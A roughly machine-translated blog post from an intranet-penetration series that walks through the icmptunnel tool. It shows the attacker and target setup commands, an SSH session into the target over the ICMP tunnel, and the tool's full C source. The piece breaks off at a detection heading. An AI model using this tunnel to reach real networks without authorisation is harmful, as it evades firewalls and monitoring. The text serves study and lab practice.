当前位置:网站首页>Intranet penetration series: icmptunnel of Intranet tunnel (Master James Barlow's)

Intranet penetration series: icmptunnel of Intranet tunnel (Master James Barlow's)

2022-04-23 08:01:00 Fish in Siyuan Lake

Preface

This paper studies ICMP A tool for tunnels ,jamesbarlow Master's icmptunnel

github:https://github.com/jamesbarlow/icmptunnel

One 、 summary

1、 brief introduction

Last updated on 2016 year , use C Language writing , Create a virtual network card through ICMP Protocol transfer IP Traffic , Provides more reliable protocols and mechanisms , Used to pass through stateful firewalls and NAT Tunnel transmission

Conditions :

  • Target machine ( client ) Sure ping get out
  • Only in linux Environmental use

2、 principle

ICMP For the principle of tunnel, see : Intranet penetration series : Of Intranet tunnels ICMP Tunnel

Traffic sending method :

  • Target machine ( client ) take IP The flow is encapsulated in ICMP Of echo Sent to the attacker in the packet ( Server side )
  • The attacker ( Server side ) take IP The flow is encapsulated in ICMP Of reply Send the packet to the target machine ( client )
  • These two kinds of ICMP Data package see RFC792

framework :

  • The key is to open a virtual network card

 Insert picture description here

3、 Use

Both sides should compile and disable the kernel ping:

make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

attack ( Server side ) Create a virtual network card and assign IP

./icmptunnel –s
opened tunnel device: tun0
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

Target machine ( client ) Point to the server and allocate IP

./icmptunnel <server>
opened tunnel device: tun0
connection established.
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

At this time, the tunnel is established , Then the server can ssh Connect to the client

ssh [email protected]

Two 、 practice

1、 Test scenarios

attack ( Server side ):kali 192.168.10.128
Target machine ( client ):ubuntu 192.168.10.129

The target can ping Communication attack machine
 Insert picture description here

2、 Build a tunnel

(1) Get ready

make Compile and disable the kernel ping

make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

Target machine

 Insert picture description here

attack

 Insert picture description here

(2) Server monitoring

To look at first route

route -n

 Insert picture description here
Build a tunnel

./icmptunnel –s
opened tunnel device: tun0
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

 Insert picture description here

Now check the route again

 Insert picture description here

More than a tun0 Virtual network card

(3) The client starts

View routes

 Insert picture description here
Build a tunnel

./icmptunnel 192.168.10.128
opened tunnel device: tun0
connection established.
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

 Insert picture description here
Now check the route again

 Insert picture description here

You can see that there are many tun0

(4) The tunnel was built successfully

At this time, the attacker is as follows
 Insert picture description here
The target machine is as follows
 Insert picture description here

(4)ssh

At this time, the attack machine can attack ssh Connected to the target machine
 Insert picture description here

3、 Grab the bag and have a look

The virtual network adapter tun0

 Insert picture description here

network card eth0

 Insert picture description here
You can see everything TCP The traffic is loaded into ICMP In the flow

3、 ... and 、 Explore

1、 Source code and Analysis

(1)config.h

Setup time 、 size , limit linux etc.

#ifndef ICMPTUNNEL_CONFIG_H
#define ICMPTUNNEL_CONFIG_H

/* program version. */
#define ICMPTUNNEL_VERSION "0.1-beta"

/* default timeout in seconds between keep-alive requests. */
#define ICMPTUNNEL_TIMEOUT 5

/* default number of retries before a connection is dropped. */
#define ICMPTUNNEL_RETRIES 5

/* default interval between punch-thru packets. */
#define ICMPTUNNEL_PUNCHTHRU_INTERVAL 1

/* default window size of punch-thru packets. */
#define ICMPTUNNEL_PUNCHTHRU_WINDOW 10

/* default tunnel mtu in bytes; assume the size of an ethernet frame. */
#define ICMPTUNNEL_MTU 1500

/* default to standard linux behaviour, do not emulate windows ping. */
#define ICMPTUNNEL_EMULATION 0

/* default to running in the foreground. */
#define ICMPTUNNEL_DAEMON 0

#endif

(2)options.h

Controllable options

#ifndef ICMPTUNNEL_OPTIONS_H
#define ICMPTUNNEL_OPTIONS_H

struct options
{
    
    /* interval between keep-alive packets. */
    int keepalive;

    /* number of retries before timing out. */
    int retries;

    /* tunnel mtu. */
    int mtu;

    /* enable windows ping emulation. */
    int emulation;

    /* run as a daemon. */
    int daemon;
};

#endif

(3)protocol.h

packet Framework , In the packet “TUNL” label

#ifndef ICMPTUNNEL_PROTOCOL_H
#define ICMPTUNNEL_PROTOCOL_H

#include <stdint.h>

/* magic value used to mark icmp tunnel packets. */
#define PACKET_MAGIC "TUNL" //  Label yourself , Delete it 

enum PACKET_TYPE
{
    
    PACKET_CONNECTION_REQUEST,
    PACKET_CONNECTION_ACCEPT,
    PACKET_SERVER_FULL,
    PACKET_DATA,
    PACKET_PUNCHTHRU,
    PACKET_KEEP_ALIVE
};

struct packet_header
{
    
    uint8_t magic[4];
    uint8_t type;
};

#endif

(4)peer.h

#ifndef ICMPTUNNEL_PEER_H
#define ICMPTUNNEL_PEER_H

#include <stdint.h>
#include "config.h"

struct peer
{
    
    int connected;

    /* link address. */
    uint32_t linkip;

    /* next icmp id and sequence numbers. */
    uint16_t nextid;
    uint16_t nextseq;

    /* punch-thru sequence numbers. */
    uint16_t punchthru[ICMPTUNNEL_PUNCHTHRU_WINDOW];
    uint16_t nextpunchthru;
    uint16_t nextpunchthru_write;

    /* number of timeout intervals since last activity. */
    int seconds;
    int timeouts;
};

#endif

(5)handlers.h


#ifndef ICMPTUNNEL_HANDLERS_H
#define ICMPTUNNEL_HANDLERS_H

struct echo_skt;
struct tun_device;

struct handlers
{
    
    /* handle an icmp packet. */
    void (*icmp)(struct echo_skt *skt, struct tun_device *device);

    /* handle data from the tunnel interface. */
    void (*tunnel)(struct echo_skt *skt, struct tun_device *device);

    /* handle a timeout. */
    void (*timeout)(struct echo_skt *skt);
};

#endif

(6)checksum.c

Calculation checksum

#include "checksum.h"

uint16_t checksum(const char *buf, int size)
{
    
    uint16_t *p = (uint16_t*)buf;
    uint32_t sum = 0;

    /* calculate the sum over the buffer in 2-byte words. */
    for (sum = 0; size > 1; size -= 2) {
    
        sum += *p++;
    }

    /* there may be a final byte to sum. */
    if (size == 1) {
    
        sum += *(unsigned char*)p;
    }

    /* sum the high and low 16 bits. */
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);

    return ~sum;
}

(7)resolve.c

adopt DNS, Change the domain name to IP

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>

#include "resolve.h"

int resolve(const char *hostname, uint32_t *address)
{
    
    /* try to interpret the hostname as an ip address. */
    *address = ntohl(inet_addr(hostname));

    /* if we don't have an ip address, look up the name in dns. */
    if (*address == INADDR_NONE) {
    
        struct hostent *h = gethostbyname(hostname);

        if (!h) {
    
            fprintf(stderr, "unable to resolve: %s\n", hostname);
            return 1;
        }

        *address = ntohl(*(uint32_t*)h->h_addr_list[0]);
    }

    return 0;
}

(8)daemon.c

maintain fork process

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int daemon()
{
    
    int res;

    if ((res = fork()) < 0) {
    
        fprintf(stderr, "unable to fork: %s\n", strerror(errno));
        return -1;
    }

    /* if we're the parent process then exit. */
    if (res > 0)
        exit(0);

    /* set a new session id. */
    if (setsid() < 0) {
    
        fprintf(stderr, "unable to set sid: %s\n", strerror(errno));
        return -1;
    }

    /* redirect the standard streams to /dev/null. */
    int fd;

    if ((fd = open("/dev/null", O_RDWR)) < 0) {
    
        fprintf(stderr, "unable to open /dev/null: %s\n", strerror(errno));
        return -1;
    }
/* int i; for (i = 0; i < 3; ++i) { dup2(fd, i); } if (fd >= 2) { close(fd); } */
    return 0;
}

(9)echo-skt.c

echo namely type by 0 Of packet Structure and transceiver of

#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#include "checksum.h"
#include "echo-skt.h"

int open_echo_skt(struct echo_skt *skt, int mtu)
{
    
    skt->buf = skt->data = NULL;

    /* open the icmp socket. */
    if ((skt->fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    
        fprintf(stderr, "unable to open icmp socket: %s\n", strerror(errno));
        return 1;
    }

    /* calculate the buffer size required to encapsulate this payload. */
    skt->bufsize = mtu + sizeof(struct iphdr) + sizeof(struct icmphdr);

    /* allocate the buffer. */
    if ((skt->buf = malloc(skt->bufsize)) == NULL) {
    
        fprintf(stderr, "unable to allocate icmp tx/rx buffers: %s\n", strerror(errno));
        return 1;
    }

    /* save a pointer to the icmp payload for convenience. */
    skt->data = skt->buf + sizeof(struct iphdr) + sizeof(struct icmphdr);

    return 0;
}

int send_echo(struct echo_skt *skt, uint32_t destip, struct echo* echo)
{
    
    ssize_t xfer;

    struct sockaddr_in dest;
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = htonl(destip);
    dest.sin_port = 0;  /* for valgrind. */

    /* write the icmp header. */
    struct icmphdr *header = (struct icmphdr*)(skt->buf + sizeof(struct iphdr));
    header->type = echo->reply ? 0 : 8;
    header->code = 0;
    header->un.echo.id = htons(echo->id);
    header->un.echo.sequence = htons(echo->seq);
    header->checksum = 0;
    header->checksum = checksum(skt->buf + sizeof(struct iphdr), sizeof(struct icmphdr) + echo->size);

    /* send the packet. */
    xfer = sendto(skt->fd, skt->buf + sizeof(struct iphdr), sizeof(struct icmphdr) + echo->size, 0,
        (struct sockaddr*)&dest, sizeof(struct sockaddr_in));

    if (xfer < 0) {
    
        fprintf(stderr, "unable to send icmp packet: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}

int receive_echo(struct echo_skt *skt, uint32_t *sourceip, struct echo *echo)
{
    
    ssize_t xfer;
    struct sockaddr_in source;
    socklen_t source_size = sizeof(struct sockaddr_in);

    /* receive a packet. */
    xfer = recvfrom(skt->fd, skt->buf, skt->bufsize, 0, (struct sockaddr*)&source, &source_size);

    if (xfer < 0) {
    
        fprintf(stderr, "unable to receive icmp packet: %s\n", strerror(errno));
        return 1;
    }

    /* parse the icmp header. */
    struct icmphdr *header = (struct icmphdr*)(skt->buf + sizeof(struct iphdr));

    if (xfer < (int)sizeof(struct iphdr) + (int)sizeof(struct icmphdr))
        return 1;  /* bad packet size. */

    if ((header->type != 0 && header->type != 8) || header->code != 0)
        return 1;  /* unexpected packet type. */

    *sourceip = ntohl(source.sin_addr.s_addr);

    echo->size = xfer - sizeof(struct iphdr) - sizeof(struct icmphdr);
    echo->reply = header->type == 0;
    echo->id = ntohs(header->un.echo.id);
    echo->seq = ntohs(header->un.echo.sequence);

    return 0;
}

void close_echo_skt(struct echo_skt *skt)
{
    
    /* dispose of the buffer. */
    if (skt->buf)
        free(skt->buf);

    /* close the icmp socket. */
    if (skt->fd >= 0)
        close(skt->fd);
}

(10)tun-device.c

Mainly virtual network card

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>

#include "tun-device.h"

int open_tun_device(struct tun_device *device, int mtu)
{
    
    struct ifreq ifr;
    const char *clonedev = "/dev/net/tun"; // The virtual network adapter 

    /* open the clone device. */
    if ((device->fd = open(clonedev, O_RDWR)) < 0) {
    
        fprintf(stderr, "unable to open %s: %s\n", clonedev, strerror(errno));
        fprintf(stderr, "is the tun kernel module loaded?\n");
        return 1;
    }

    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_flags = IFF_TUN | IFF_NO_PI;

    /* try to create the device, the kernel will choose a name. */
    if (ioctl(device->fd, TUNSETIFF, &ifr) < 0) {
    
        fprintf(stderr, "unable to create a tunnel device: %s\n", strerror(errno));
        return 1;
    }

    /* copy out the device name and mtu. */
    strncpy(device->name, ifr.ifr_name, sizeof(device->name));
    device->mtu = mtu;

    fprintf(stderr, "opened tunnel device: %s\n", ifr.ifr_name);

    return 0;
}

int write_tun_device(struct tun_device *device, const char *buf, int size)
{
    
    /* write to the tunnel device. */
    if (write(device->fd, buf, size) != size) {
    
        fprintf(stderr, "unable to write to tunnel device: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}

int read_tun_device(struct tun_device *device, char *buf, int *size)
{
    
    /* read from the tunnel device. */
    if ((*size = read(device->fd, buf, device->mtu)) < 0) {
    
        fprintf(stderr, "unable to read from tunnel device: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}

void close_tun_device(struct tun_device *device)
{
    
    if (device->fd >= 0) {
    
        close(device->fd);
    }
}

(11)forwarder.c

run tunnel

#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <sys/select.h>

#include "options.h"
#include "handlers.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "forwarder.h"

/* are we still running? */
static int running = 1;

int forward(struct echo_skt *skt, struct tun_device *device, struct handlers *handlers)
{
    
    int ret;
    int maxfd = skt->fd > device->fd ? skt->fd : device->fd;

    struct timeval timeout;

    /* loop and push packets between the tunnel device and peer. */
    while (running) {
    
        fd_set fs;

        FD_ZERO(&fs);
        FD_SET(skt->fd, &fs);
        FD_SET(device->fd, &fs);

        /* set the timeout. */
        timeout.tv_sec = 1;
        timeout.tv_usec = 0;

        /* wait for some data. */
        ret = select(maxfd + 1, &fs, NULL, NULL, &timeout);

        if (ret < 0) {
    
            if (!running)
                break;
            fprintf(stderr, "unable to select() on sockets: %s\n", strerror(errno));
            return 1;
        }
        /* did we time out? */
        else if (ret == 0) {
    
            handlers->timeout(skt);
        }

        /* handle a packet from the echo socket. */
        if (FD_ISSET(skt->fd, &fs)) {
    
            handlers->icmp(skt, device);
        }

        /* handle data from the tunnel device. */
        if (FD_ISSET(device->fd, &fs)) {
    
            handlers->tunnel(skt, device);
        }
    }
    return 0;
}

void stop()
{
    
    running = 0;
}

(12)client-handlers.c

This is the connection 、 perforation 、keep-alive

#include <stdio.h>
#include <string.h>

#include "peer.h"
#include "daemon.h"
#include "options.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "protocol.h"
#include "forwarder.h"
#include "client-handlers.h"

//  The following are type The difference between 
void send_connection_request(struct echo_skt *skt, struct peer *server, int emulation)
{
    
    /* write a connection request packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_CONNECTION_REQUEST;

    /* send the request. */
    struct echo request;
    request.size = sizeof(struct packet_header);
    request.reply = 0;
    request.id = server->nextid;
    request.seq = emulation ? server->nextseq : server->nextseq++;

    send_echo(skt, server->linkip, &request);
}

void send_punchthru(struct echo_skt *skt, struct peer *server, int emulation)
{
    
    /* write a punchthru packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_PUNCHTHRU;

    /* send the packet. */
    struct echo request;
    request.size = sizeof(struct packet_header);
    request.reply = 0;
    request.id = server->nextid;
    request.seq = emulation ? server->nextseq : server->nextseq++;

    send_echo(skt, server->linkip, &request);
}

void send_keep_alive(struct echo_skt *skt, struct peer *server, int emulation)
{
    
    /* write a keep-alive request packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_KEEP_ALIVE;

    /* send the request. */
    struct echo request;
    request.size = sizeof(struct packet_header);
    request.reply = 0;
    request.id = server->nextid;
    request.seq = emulation ? server->nextseq : server->nextseq++;

    send_echo(skt, server->linkip, &request);
}

void handle_connection_accept(struct echo_skt *skt, struct peer *server, struct options *opts)
{
    
    /* if we're already connected then ignore the packet. */
    if (server->connected)
        return;

    fprintf(stderr, "connection established.\n");

    server->connected = 1;
    server->timeouts = 0;

    /* fork and run as a daemon if needed. */
    if (opts->daemon) {
    
        if (daemon() != 0)
            return;
    }

    /* send the initial punch-thru packets. */
    int i;
    for (i = 0; i < 10; ++i) {
    
        send_punchthru(skt, server, opts->emulation);
    }
}

void handle_server_full(struct peer *server)
{
    
    /* if we're already connected then ignore the packet. */
    if (server->connected)
        return;

    fprintf(stderr, "unable to connect: server is full.\n");

    /* stop the packet forwarding loop. */
    stop();
}

void handle_client_data(struct echo_skt *skt, struct tun_device *device,
    struct peer *server, struct echo *echo)
{
    
    /* if we're not connected then drop the packet. */
    if (!server->connected)
        return;

    /* determine the size of the encapsulated frame. */
    int framesize = echo->size - sizeof(struct packet_header);

    if (!framesize)
        return;

    /* write the frame to the tunnel interface. */
    write_tun_device(device, skt->data + sizeof(struct packet_header), framesize);

    server->timeouts = 0;
}

void handle_keep_alive_response(struct peer *server)
{
    
    /* if we're not connected then drop the packet. */
    if (!server->connected)
        return;

    server->seconds = 0;
    server->timeouts = 0;
}

(13)client.c

Sending and receiving of clients timeout, There are many restrictions and judgments in the middle

#include <stdio.h>
#include <string.h>

#include "config.h"
#include "options.h"
#include "client.h"
#include "peer.h"
#include "resolve.h"
#include "protocol.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "handlers.h"
#include "forwarder.h"
#include "client-handlers.h"

/* the server. */
static struct peer server;

/* program options. */
static struct options *opts;

/* handle an icmp packet. */
static void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device);

/* handle data from the tunnel interface. */
static void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device);

/* handle a timeout. */
static void handle_timeout(struct echo_skt *skt);

int client(const char *hostname, struct options *options)
{
    
    struct echo_skt skt;
    struct tun_device device;

    struct handlers handlers = {
    
        &handle_icmp_packet,
        &handle_tunnel_data,
        &handle_timeout
    };
    opts = options;

    /* calculate the required icmp payload size. */
    int bufsize = options->mtu + sizeof(struct packet_header);

    /* resolve the server hostname. */
    if (resolve(hostname, &server.linkip) != 0)
        return 1;

    /* open an echo socket. */
    if (open_echo_skt(&skt, bufsize) != 0)
        return 1;

    /* open a tunnel interface. */
    if (open_tun_device(&device, options->mtu) != 0)
        return 1;

    /* choose initial icmp id and sequence numbers. */
    server.nextid = rand();
    server.nextseq = rand();

    /* send the initial connection request. */
    send_connection_request(&skt, &server, opts->emulation);

    /* run the packet forwarding loop. */
    int ret = forward(&skt, &device, &handlers);

    close_tun_device(&device);
    close_echo_skt(&skt);

    return ret;
}

void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device)
{
    
    struct echo echo;
    uint32_t sourceip;

    /* receive the packet. */
    if (receive_echo(skt, &sourceip, &echo) != 0)
        return;

    /* we're only expecting packets from the server. */
    if (sourceip != server.linkip)
        return;

    /* we're only expecting echo replies. */
    if (!echo.reply)
        return;

    /* check the packet size. */
    if (echo.size < (int)sizeof(struct packet_header))
        return;

    /* check the header magic. */
    struct packet_header *header = (struct packet_header*)skt->data;

    if (memcmp(header->magic, PACKET_MAGIC, sizeof(header->magic)) != 0)
        return;

    switch (header->type) {
    
    case PACKET_CONNECTION_ACCEPT:
        /* handle a connection accept packet. */
        handle_connection_accept(skt, &server, opts);
        break;

    case PACKET_SERVER_FULL:
        /* handle a server full packet. */
        handle_server_full(&server);
        break;

    case PACKET_DATA:
        /* handle a data packet. */
        handle_client_data(skt, device, &server, &echo);
        break;

    case PACKET_KEEP_ALIVE:
        /* handle a keep-alive packet. */
        handle_keep_alive_response(&server);
        break;
    }
}

void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device)
{
    
    int size;

    /* read the frame. */
    if (read_tun_device(device, skt->data + sizeof(struct packet_header), &size) != 0)
        return;

    /* if we're not connected then drop the frame. */
    if (!server.connected)
        return;

    /* write a data packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_DATA;

    /* send the encapsulated frame to the server. */
    struct echo echo;
    echo.size = sizeof(struct packet_header) + size;
    echo.reply = 0;
    echo.id = server.nextid;
    echo.seq = opts->emulation ? server.nextseq : server.nextseq++;

    send_echo(skt, server.linkip, &echo);
}

void handle_timeout(struct echo_skt *skt)
{
    
    /* send a punch-thru packet. */
    send_punchthru(skt, &server, opts->emulation);

    /* has the peer timeout elapsed? */
    if (++server.seconds == opts->keepalive) {
    
        server.seconds = 0;

        /* have we reached the max number of retries? */
        if (opts->retries != -1 && ++server.timeouts == opts->retries) {
    
            fprintf(stderr, "connection timed out.\n");

            /* stop the packet forwarding loop. */
            stop();
            return;
        }

        /* if we're still connecting, resend the connection request. */
        if (!server.connected) {
    
            send_connection_request(skt, &server, opts->emulation);
            return;
        }

        /* otherwise, send a keep-alive request. */
        send_keep_alive(skt, &server, opts->emulation);
    }
}

(14)server-handlers.c

Check whether it is consistent with client Connect the , And right client Of a bag response

#include <string.h>

#include "peer.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "protocol.h"
#include "server-handlers.h"

void handle_connection_request(struct echo_skt *skt, struct peer *client,
    struct echo *request, uint32_t sourceip)
{
    
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(struct packet_header));

    /* is a client already connected? */
    if (client->connected) {
    
        header->type = PACKET_SERVER_FULL;
    }
    else {
    
        header->type = PACKET_CONNECTION_ACCEPT;

        client->connected = 1;
        client->seconds = 0;
        client->timeouts = 0;
        client->nextpunchthru = 0;
        client->nextpunchthru_write = 0;
        client->linkip = sourceip;
    }

    /* send the response. */
    struct echo response;
    response.size = sizeof(struct packet_header);
    response.reply = 1;
    response.id = request->id;
    response.seq = request->seq;

    send_echo(skt, sourceip, &response);
}

/* handle a punch-thru packet. */
void handle_punchthru(struct peer *client, struct echo *request, uint32_t sourceip)
{
    
    if (!client->connected || sourceip != client->linkip)
        return;

    /* store the sequence number. */
    client->punchthru[client->nextpunchthru_write] = request->seq;
    client->nextpunchthru_write++;
    client->nextpunchthru_write %= ICMPTUNNEL_PUNCHTHRU_WINDOW;

    client->seconds = 0;
    client->timeouts = 0;
}

void handle_keep_alive_request(struct echo_skt *skt, struct peer *client, struct echo *request,
    uint32_t sourceip)
{
    
    if (!client->connected || sourceip != client->linkip)
        return;

    /* write a keep-alive response. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_KEEP_ALIVE;

    /* send the response to the client. */
    struct echo response;
    response.size = sizeof(struct packet_header);
    response.reply = 1;
    response.id = request->id;
    response.seq = request->seq;

    send_echo(skt, sourceip, &response);

    client->timeouts = 0;
}

void handle_server_data(struct echo_skt *skt, struct tun_device *device, struct peer *client,
    struct echo *request, uint32_t sourceip)
{
    
    if (!client->connected || sourceip != client->linkip)
        return;

    /* determine the size of the encapsulated frame. */
    int framesize = request->size - sizeof(struct packet_header);

    if (!framesize)
        return;

    /* write the frame to the tunnel interface. */
    write_tun_device(device, skt->data + sizeof(struct packet_header), framesize);

    /* save the icmp id and sequence numbers for any return traffic. */
    client->nextid = request->id;
    client->nextseq = request->seq;
    client->seconds = 0;
    client->timeouts = 0;
}

(15)server.c

And client similar , Only one is reply One is request

#include <stdio.h>
#include <string.h>

#include "config.h"
#include "daemon.h"
#include "options.h"
#include "server.h"
#include "peer.h"
#include "protocol.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "handlers.h"
#include "forwarder.h"
#include "server-handlers.h"

/* the client. */
static struct peer client;

/* program options. */
static struct options *opts;

/* handle an icmp packet. */
static void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device);

/* handle data from the tunnel interface. */
static void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device);

/* handle a timeout. */
static void handle_timeout(struct echo_skt *skt);

int server(struct options *options)
{
    
    struct echo_skt skt;
    struct tun_device device;

    struct handlers handlers = {
    
        &handle_icmp_packet,
        &handle_tunnel_data,
        &handle_timeout
    };
    opts = options;

    /* calculate the required icmp payload size. */
    int bufsize = options->mtu + sizeof(struct packet_header);

    /* open an echo socket. */
    if (open_echo_skt(&skt, bufsize) != 0)
        return 1;

    /* open a tunnel interface. */
    if (open_tun_device(&device, options->mtu) != 0)
        return 1;

    /* fork and run as a daemon if needed. */
    if (options->daemon) {
    
        if (daemon() != 0)
            return 1;
    }

    /* run the packet forwarding loop. */
    int ret = forward(&skt, &device, &handlers);

    close_tun_device(&device);
    close_echo_skt(&skt);

    return ret;
}

void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device)
{
    
    struct echo echo;
    uint32_t sourceip;

    /* receive the packet. */
    if (receive_echo(skt, &sourceip, &echo) != 0)
        return;

    /* we're only expecting echo requests. */
    if (echo.reply)
        return;

    /* check the packet size. */
    if (echo.size < (int)sizeof(struct packet_header))
        return;

    /* check the header magic. */
    struct packet_header *header = (struct packet_header*)skt->data;

    if (memcmp(header->magic, PACKET_MAGIC, sizeof(header->magic)) != 0)
        return;

    switch (header->type) {
    
    case PACKET_CONNECTION_REQUEST:
        /* handle a connection request packet. */
        handle_connection_request(skt, &client, &echo, sourceip);
        break;

    case PACKET_DATA:
        /* handle a data packet. */
        handle_server_data(skt, device, &client, &echo, sourceip);
        break;

    case PACKET_PUNCHTHRU:
        /* handle a punch-thru packet. */
        handle_punchthru(&client, &echo, sourceip);
        break;

    case PACKET_KEEP_ALIVE:
        /* handle a keep-alive request packet. */
        handle_keep_alive_request(skt, &client, &echo, sourceip);
        break;
    }
}

void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device)
{
    
    int size;

    /* read the frame. */
    if (read_tun_device(device, skt->data + sizeof(struct packet_header), &size) != 0)
        return;

    /* if no client is connected then drop the frame. */
    if (!client.connected)
        return;

    /* write a data packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_DATA;

    /* send the encapsulated frame to the client. */
    struct echo echo;
    echo.size = sizeof(struct packet_header) + size;
    echo.reply = 1;
    echo.id = client.nextid;
    echo.seq = client.punchthru[client.nextpunchthru];

    client.nextpunchthru++;
    client.nextpunchthru %= ICMPTUNNEL_PUNCHTHRU_WINDOW;

    send_echo(skt, client.linkip, &echo);
}

void handle_timeout(struct echo_skt *skt)
{
    
    /* unused parameter. */
    (void)skt;

    if (!client.connected)
        return;

    /* has the peer timeout elapsed? */
    if (++client.seconds == opts->keepalive) {
    
        client.seconds = 0;

        /* have we reached the max number of retries? */
        if (opts->retries != -1 && ++client.timeouts == opts->retries) {
    
            fprintf(stderr, "client connection timed out.\n");

            client.connected = 0;
            return;
        }
    }
}

(16)icmptunnel.c

The main function

#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>

#include "config.h"
#include "client.h"
#include "server.h"
#include "options.h"
#include "forwarder.h"

static void version()
{
    
    fprintf(stderr, "icmptunnel is version %s (built %s).\n", ICMPTUNNEL_VERSION, __DATE__);
    exit(0);
}

static void help(const char *program)
{
    
    fprintf(stderr, "icmptunnel %s.\n", ICMPTUNNEL_VERSION);
    fprintf(stderr, "usage: %s [options] -s|server\n\n", program);
    fprintf(stderr, " -v print version and exit.\n");
    fprintf(stderr, " -h print help and exit.\n");
    fprintf(stderr, " -k <interval> interval between keep-alive packets.\n");
    fprintf(stderr, " the default interval is %i seconds.\n", ICMPTUNNEL_TIMEOUT);
    fprintf(stderr, " -r <retries> packet retry limit before timing out.\n");
    fprintf(stderr, " the default is %i retries.\n", ICMPTUNNEL_RETRIES);
    fprintf(stderr, " -m <mtu> max frame size of the tunnel interface.\n");
    fprintf(stderr, " the default tunnel mtu is %i bytes.\n", ICMPTUNNEL_MTU);
    fprintf(stderr, " -e emulate the microsoft ping utility.\n");
    fprintf(stderr, " -d run in the background as a daemon.\n");
    fprintf(stderr, " -s run in server-mode.\n");
    fprintf(stderr, " server run in client-mode, using the server ip/hostname.\n\n");
    exit(0);
}

static void usage(const char *program)
{
    
    fprintf(stderr, "unknown or missing option -- '%c'\n", optopt);
    fprintf(stderr, "use %s -h for more information.\n", program);
    exit(1);
}

static void signalhandler(int sig)
{
    
    /* unused variable. */
    (void)sig;

    stop();
}

int main(int argc, char *argv[])
{
    
    char *program = argv[0];
    char *hostname = NULL;
    int servermode = 0;

    struct options options = {
    
        ICMPTUNNEL_TIMEOUT,
        ICMPTUNNEL_RETRIES,
        ICMPTUNNEL_MTU,
        ICMPTUNNEL_EMULATION,
        ICMPTUNNEL_DAEMON
    };

    /* parse the option arguments. */
    opterr = 0;
    int opt;
    while ((opt = getopt(argc, argv, "vhk:r:m:eds")) != -1) {
    
        switch (opt) {
    
        case 'v':
            version();
            break;
        case 'h':
            help(program);
            break;
        case 'k':
            options.keepalive = atoi(optarg);
            if (options.keepalive == 0) {
    
                options.keepalive = 1;
            }
            break;
        case 'r':
            if (strcmp(optarg, "infinite") == 0) {
    
                options.retries = -1;
            }
            else {
    
                options.retries = atoi(optarg);
            }
            break;
        case 'm':
            options.mtu = atoi(optarg);
            break;
        case 'e':
            options.emulation = 1;
            break;
        case 'd':
            options.daemon = 1;
            break;
        case 's':
            servermode = 1;
            break;
        case '?':
            /* fall-through. */
        default:
            usage(program);
            break;
        }
    }

    argc -= optind;
    argv += optind;

    /* if we're running in client mode, parse the server hostname. */
    if (!servermode) {
    
        if (argc < 1) {
    
            fprintf(stderr, "missing server ip/hostname.\n");
            fprintf(stderr, "use %s -h for more information.\n", program);
            return 1;
        }
        hostname = argv[0];

        argc--;
        argv++;
    }

    /* check for extraneous options. */
    if (argc > 0) {
    
        fprintf(stderr, "unknown option -- '%s'\n", argv[0]);
        fprintf(stderr, "use %s -h for more information.\n", program);
        return 1;
    }

    /* check for root privileges. */
    if (geteuid() != 0) {
    
        fprintf(stderr, "opening raw icmp sockets requires root privileges.\n");
        fprintf(stderr, "are you running as root?\n");
        exit(1);
    }

    /* register the signal handlers. */
    signal(SIGINT, signalhandler);
    signal(SIGTERM, signalhandler);

    srand(time(NULL));

    if (servermode) {
    
        /* run the server. */
        return server(&options);
    }

    /* run the client. */
    return client(hostname, &options);
}

2、 Detection and bypass

(1) Detect virtual network card

